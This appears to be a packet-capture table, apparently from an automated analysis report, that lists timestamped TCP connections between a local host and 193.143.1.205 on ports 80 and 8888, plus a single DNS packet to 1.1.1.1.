Jan 10, 2025 22:07:35.735702038 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735712051 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735730886 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735740900 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735753059 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735754967 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735754967 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735764980 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735805988 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735821009 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735846996 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735857010 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735866070 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735877991 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735888004 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735893011 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735944986 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.735985041 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.735985041 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736068964 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736080885 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736092091 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736103058 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736114025 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736125946 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736126900 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736140013 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736150980 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736162901 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736162901 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736175060 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736187935 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736188889 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736212015 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736357927 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736368895 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736380100 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736392021 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736402988 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736407995 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736414909 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736419916 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736427069 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736432076 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736438036 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736444950 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736454964 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736460924 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736474991 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736499071 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736499071 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736515045 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736526966 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736555099 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736567020 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736578941 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736589909 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736605883 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736605883 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736666918 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736711025 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736730099 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736742020 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736752987 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736763954 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736778021 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736778021 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736789942 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736800909 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736813068 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736824036 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736824036 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736824036 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736835957 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736849070 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.736870050 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736870050 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.736898899 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.741452932 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.749984980 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.749999046 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750010967 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750021935 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750035048 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750041008 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750108004 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750149965 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750149965 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750159025 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750169992 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750183105 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750251055 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750262022 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750274897 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750277996 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750294924 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750317097 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750323057 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750323057 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750328064 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750339031 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750353098 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750389099 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750389099 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750417948 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750428915 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750443935 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750457048 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750472069 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750484943 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750484943 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750490904 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750504017 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750514030 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.750550032 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.750550032 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.751353979 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.772407055 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772460938 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772471905 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772483110 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772486925 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.772495985 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772536993 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.772536993 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.772617102 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772629976 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772640944 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772653103 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772670031 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772679090 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772691965 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772705078 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772716999 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772727966 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772741079 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772753000 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772766113 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772778988 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772789955 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772800922 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.772813082 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.773303032 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.801676989 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801748037 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801759958 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801773071 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801784039 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801784039 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.801804066 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801815987 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801826954 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801831007 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.801831007 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.801837921 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801848888 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801862001 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801872969 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801882029 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.801882029 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.801884890 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801896095 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801909924 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.801939964 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.801939964 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.801973104 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.823883057 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.823981047 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.823992968 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824006081 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824017048 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824028969 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824043036 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824095964 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.824095964 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.824188948 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824244022 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.824275017 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824286938 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824297905 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824309111 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824327946 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824338913 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824350119 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.824350119 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.824352026 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824362993 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824373960 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824410915 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.824517012 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.824538946 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824556112 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824567080 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824578047 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824589014 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824600935 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824611902 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824623108 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824634075 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824642897 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824656010 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824709892 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824727058 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824738979 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824750900 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824763060 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824775934 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824789047 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824889898 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.824903965 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824914932 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824928045 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824939013 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824950933 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824961901 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824971914 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.824971914 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.824979067 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.824990034 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825001001 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825014114 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825016022 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825042963 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825067997 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825233936 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825244904 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825257063 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825268030 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825282097 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825289011 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825294018 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825305939 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825315952 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825328112 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825331926 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825331926 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825340033 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825351954 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825366020 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825370073 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825382948 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825386047 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825386047 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825395107 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825412035 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825423956 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825434923 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.825463057 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825463057 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.825496912 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.838995934 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839029074 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839049101 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839061022 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839073896 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839086056 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839097977 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839108944 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839122057 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839196920 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839205027 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.839205027 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.839210033 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839215994 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839222908 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839230061 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839240074 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839251995 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839265108 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839277029 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839287043 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.839287043 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.839291096 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839304924 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.839330912 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.839330912 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.839343071 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.861607075 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861620903 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861632109 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861643076 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861654997 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861668110 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861679077 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861690044 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861701012 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861712933 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861723900 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861736059 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861747980 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861763000 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.861803055 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.861803055 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.861903906 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.890414953 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890572071 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890588045 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890625000 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890636921 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890646935 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890652895 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890659094 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890670061 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890697956 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890702009 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.890702009 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.890710115 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890722036 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890733004 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.890744925 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.891079903 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.891079903 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.891079903 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.893409014 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.912817955 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.912837029 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.912849903 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.912862062 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.912873983 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.912883997 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.912897110 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.912909985 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.912923098 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.912964106 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.912964106 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.912969112 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.912982941 CET	80	49749	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:35.913729906 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:35.923587084 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:36.236589909 CET	49749	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:36.775988102 CET	49766	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:36.780787945 CET	8888	49766	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:36.780963898 CET	49766	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:36.781166077 CET	49766	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:36.785973072 CET	8888	49766	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:37.571451902 CET	8888	49766	193.143.1.205	192.168.2.6
Jan 10, 2025 22:07:37.613821030 CET	49766	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 22:07:38.050770998 CET	49766	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:07:44.331602097 CET	62316	53	192.168.2.6	1.1.1.1

DNS Queries

